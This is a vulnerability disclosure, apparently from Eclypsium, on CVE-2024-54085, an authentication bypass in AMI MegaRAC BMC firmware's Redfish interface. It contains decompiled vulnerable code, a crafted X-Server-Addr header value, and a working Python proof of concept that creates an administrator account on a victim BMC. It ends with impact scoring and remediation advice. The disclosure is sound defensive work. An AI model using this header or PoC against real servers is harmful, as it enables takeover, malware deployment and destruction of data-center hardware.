Remotely Exploitable AMI Vulnerabilities Introduce Risk In Cloud Infrastructure Supply Chain
A continuation of BMC&C research and findings, exploring exploit chaining and post-exploit impact scenarios for data centers worldwide.
BMC&C Vulnerabilities – Part 3
The Eclypsium research team has discovered a previously unknown remotely exploitable vulnerability in AMI’s MegaRAC software that allows attackers to bypass authentication remotely. This research is preceded by two similar disclosures:
- BMC&C – Part 1 – Supply Chain Vulnerabilities Put Server Ecosystem At Risk (December 5, 2022)
- CVE-2022-40259 – Arbitrary Code Execution via Redfish API
- CVE-2022-40242 – Default credentials for UID = 0 shell via SSH
- CVE-2022-2827 – User enumeration via API
- CVE-2022-26872 – Password reset interception via API (Updated 1/30/2023)
- CVE-2022-40258 – Weak password hashes for Redfish & API (Updated 1/30/2023)
- BMC&C – Part 2 – Lights Out Forever (July 20, 2023)
- CVE-2023-34329 – Authentication Bypass via HTTP Header Spoofing
- CVE-2023-34330 – Code injection via Dynamic Redfish Extension interface
Building on the findings disclosed in CVE-2023-34329 (Authentication Bypass via HTTP Header Spoofing), Eclypsium discovered that while the previous patch did fix the original issue, a new vulnerability appeared. The latest vulnerability allows an attacker to bypass authentication similar to CVE-2023-34329, with a similar impact. The new vulnerability has been assigned CVE-2024-54085, and Eclypsium has confirmed the vulnerability exists on the following devices:
HPE Cray XD670
- 1.09 physical + Qemu
- 1.13 physical + Qemu
- 1.17 Qemu
Asus RS720A-E11-RS24U
- 1.2.27 Qemu
An ASRockRack device
- Static analysis only.
As the vulnerability is located at a junction of multiple internal components, it is still being determined if it results from an incomplete fix or another change occurring elsewhere. As such, there are likely to be more affected devices and/or vendors.
To gain an understanding of just how many systems may be exposed on the public Internet and potentially vulnerable to this vulnerability (and perhaps vulnerabilities detailed in previous disclosures mentioned above), we conducted a search using Shodan, revealing roughly 1,000 exposed instances:
Vulnerability Details (CVE-2024-54085)
Versions of MegaRAC as far out as 2024-08-27 suffer from authentication bypass in the Redfish interface. The vulnerable code is in the following file:
/usr/local/redfish/extensions/host-interface/host-interface-support-module.lua This file is in the firmware filesystem. When decompiled (using luajit), host-interface-support-module.lua contains the following:
check_host_interface_enable = function (slot0, slot1, slot2)
slot0.HI_is_host_enable = true
if tostring(uv0(slot2:get(string.format("Redfish:Managers:%s:HostInterfaces:%s:InterfaceEnabled", uv1, uv2)))) == "false" then
slot0.HI_is_host_enable = false
end
end,
check_host_interface_connection = function (slot0, slot1)
slot0.is_host_interface_connection = uv0.HI_AUTH_DEFAULT
HIIPv4table = HIIPv4table or uv2.from_kvlist(uv3(slot1:hgetall(uv4.HI_IPv4AddrsKEY)))
for slot6, slot7 in pairs(HIIPv4table) do
if string.match(uv1.strip_ipv4_mapped_ipv6(slot0:get_request().headers:get("X-Server-Addr") or slot0:get_request().headers:get("Host")), "([^:]+)") == slot7 then
slot0.is_host_interface_connection = true
slot0.HI_iface = slot6
break
end
end
end,
[cut]
function slot1.initialize(slot0, slot1, slot2, slot3, slot4)
uv0(slot0, slot1, slot2, slot3, slot4)
slot0.hi_noauth_comm = false
if not uv4(uv1.Connection:new(uv2.redis_sock, 0, {
family = uv3.socket.AF_UNIX
}):connect()) then
error(uv3.web.HTTPError:new(500, "DB is busy"))
end
slot0:check_host_interface_connection(slot5)
slot7 = "hi_" .. slot0.request.method:lower()
if slot0.is_host_interface_connection then
slot0:check_host_interface_enable(slot6, slot5)
if slot0.HI_is_host_enable then
if uv3.util.is_in("AuthNone", uv4(slot5:smembers(string.format("Redfish:Managers:%s:HostInterfaces:%s:AuthenticationModes", uv5, uv6)))) and (not uv3.util.is_in("BasicAuth", slot8) or slot0:get_request().headers:get("Authorization") == nil) then
slot0.hi_noauth_comm = true
end
if type(slot0[slot7]) == "function" then
slot0[slot6] = slot0[slot7]
end
end
end
The following line is exciting (from a vulnerability research perspective):
string.match(uv1.strip_ipv4_mapped_ipv6(slot0:get_request().headers:get("X-Server-Addr") or slot0:get_request().headers:get("Host")), "([^:]+)") == slot7 then
The filtering can be bypassed if an attacker crafts host header values for “X-Server-Addr” or “Host” if the former is not present and contains the entries from the Redis database. It was also determined that the lighttpd web server will always add an X-Server-Addr header with a specific value. For example:
GET /redfish/v1/Systems HTTP/1.0
Host: 1.2.3.4
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: ::ffff:1.2.3.5
X-Host: 1.2.3.4
X-Forwarded-Proto: https
X-Server-Addr: ::ffff:1.2.3.4
Connection: close
1.2.3.4 is the address of Redfish (in this case, an imaginary value). The interesting part happens if you add X-Server-Addr in the request itself, in which case lighttpd will structure it as follows:
GET /redfish/v1/Systems HTTP/1.0
Host: 1.2.3.4
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: ::ffff:1.2.3.5
X-Host: 1.2.3.4
X-Forwarded-Proto: https
X-Server-Addr: <user input>, ::ffff:1.2.3.4
Connection: close
Notice where the user input is positioned. In this case, on the surface, comparing the header value to whatever is in the database will never be the same. However, the code does not compare the raw value and instead does a “string.match(…, “([^:]+)”)”, which will extract everything up to the first “:” in the value.
In this case, the database contains 169.254.0.17 by default, which means we want to pass 169.254.0.17: as user input. The forwarded request becomes as follows:
GET /redfish/v1/Systems HTTP/1.0
Host: 1.2.3.4
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: ::ffff:1.2.3.5
X-Host: 1.2.3.4
X-Forwarded-Proto: https
X-Server-Addr: 169.254.0.17:, ::ffff:1.2.3.4
Connection: close
Thanks to the regex expression mentioned above, the value of 169.254.0.17 will be extracted. It will consequently match the data in the database and bypass Redfish authentication.
On HPE Cray XD670 1.17 (the latest firmware at the time of writing this) – it is confirmed that account creation through Redfish becomes possible using the following PoC:
import json
import requests
# noinspection RequestsNoVerify
print(
json.dumps(requests.post(
'https://<victim>:8443/redfish/v1/AccountService/Accounts',
json={
'Name': 'Hax0r',
'Description': 'Hax0r',
'Enabled': True,
'Password': 'password',
'UserName': 'demo712',
'RoleId': 'Administrator',
'Locked': False,
'PasswordChangeRequired': False
},
verify=False,
headers={'X-Server-Addr': '169.254.0.17:'}
).json(), indent=2)
)
This completely exposes Web UI login and all remote BMC features. Additionally, in some non-default configurations (when specific ipmi commands on the host have been executed), the database entry will also contain extra IP addresses, like 192.168.31.2, which can also potentially be used.
Impact, Severity, & CVSS Scoring
A local or remote attacker can exploit the vulnerability by accessing the remote management interfaces (Redfish) or the internal host to the BMC interface (Redfish). Exploitation of this vulnerability allows an attacker to remotely control the compromised server, remotely deploy malware, ransomware, firmware tampering, bricking motherboard components (BMC or potentially BIOS/UEFI), potential server physical damage (over-voltage / bricking), and indefinite reboot loops that a victim cannot stop.
In disruptive or destructive attacks, attackers can leverage the often heterogeneous environments in data centers to potentially send malicious commands to every other BMC on the same management segment, forcing all devices to continually reboot in a way that victim operators cannot stop. In extreme scenarios, the net impact could be indefinite, unrecoverable downtime until and unless devices are re-provisioned. As such, Eclypsium has calculated the CVSS scores as follows:
- CVSSv3 score – 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) – When redfish is directly exposed to the Internet (some are exposed to the Internet directly as already shown)
- CVSSv4 Score – 10.0 – (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
- CVSSv3 score – 9.6 (AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) – When redfish access is adjacent (not exposed to the internet)
- CVSSv4 Score – 9.4 – (CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
Cloud Computing Infrastructure Supply Chain Security Risks
BMC vulnerabilities pose a significant risk to the technology supply chain that underlies cloud computing. Vulnerabilities in a component supplier affect many hardware vendors, which can be passed on to many cloud services. As such, these vulnerabilities can pose a risk to servers and hardware that an organization owns directly and the hardware that supports the cloud services. Organizations with large server farms, data centers, cloud & hosting providers, hyper-scaler environments, and VDI environments are potentially impacted. Fortune 500 companies that host their own data centers are likely affected (due to the large number of top-tier OEM server vendors being impacted).
Exploitation
To our knowledge, no known exploits are being observed in the wild. However, it should be noted that exploits themselves are not challenging to create once the vulnerability is located either in the source code or in a decompiled firmware image, given that the firmware binaries are not encrypted.
Remediation & Detection
AMI has released patches to its OEM computing manufacturers’ customers. Those vendors must incorporate the fixes into updates and publish notifications to their customers. Note that patching these vulnerabilities is a non-trivial exercise, requiring device downtime. Eclypsium customers can detect the vulnerability in their environments to aid in the identification and remediation process:
To our knowledge, the vulnerability only affects AMI’s BMC software stack. However, since AMI is at the top of the BIOS supply chain, the downstream impact affects over a dozen manufacturers. Organizations should review the CISA and NSA joint guidance on hardening Baseboard Management Controllers (BMCs), which references Eclypsium’s research on the iLOBleed Implant. Additionally, organizations can:
- Ensure that all remote server management interfaces (e.g., Redfish, IPMI) and BMC subsystems are not exposed externally and that internal access is restricted to administrative users with ACLs or firewalls.
- Perform regular software and firmware updates on servers.
- Ensure that all server firmware is regularly monitored for indicators of compromise or unauthorized modifications. Monitor logs for unexpected behavior such as new account creation.
- Because new equipment is almost always shipped with old firmware versions, perform supply chain checks of new equipment. Check that all new servers have high-severity vulnerabilities patched, the latest firmware updates installed, and are free from supply chain implants or backdoors.
Available Patches
- Lenovo: AMI MegaRAC SPx Redfish Authentication Bypass
- AMI: AMI Advisory (AMI-SA-2025003)
- HPE: HPESBCR04828 rev.1 – HPE Cray XD670 Server Using AMI BMC Redfish API, Authentication Bypass Vulnerability
Additional Resources
- Webinar: Protecting the Soft Underbelly of the Data Center
- Solution Brief: Eclypsium for Data Centers
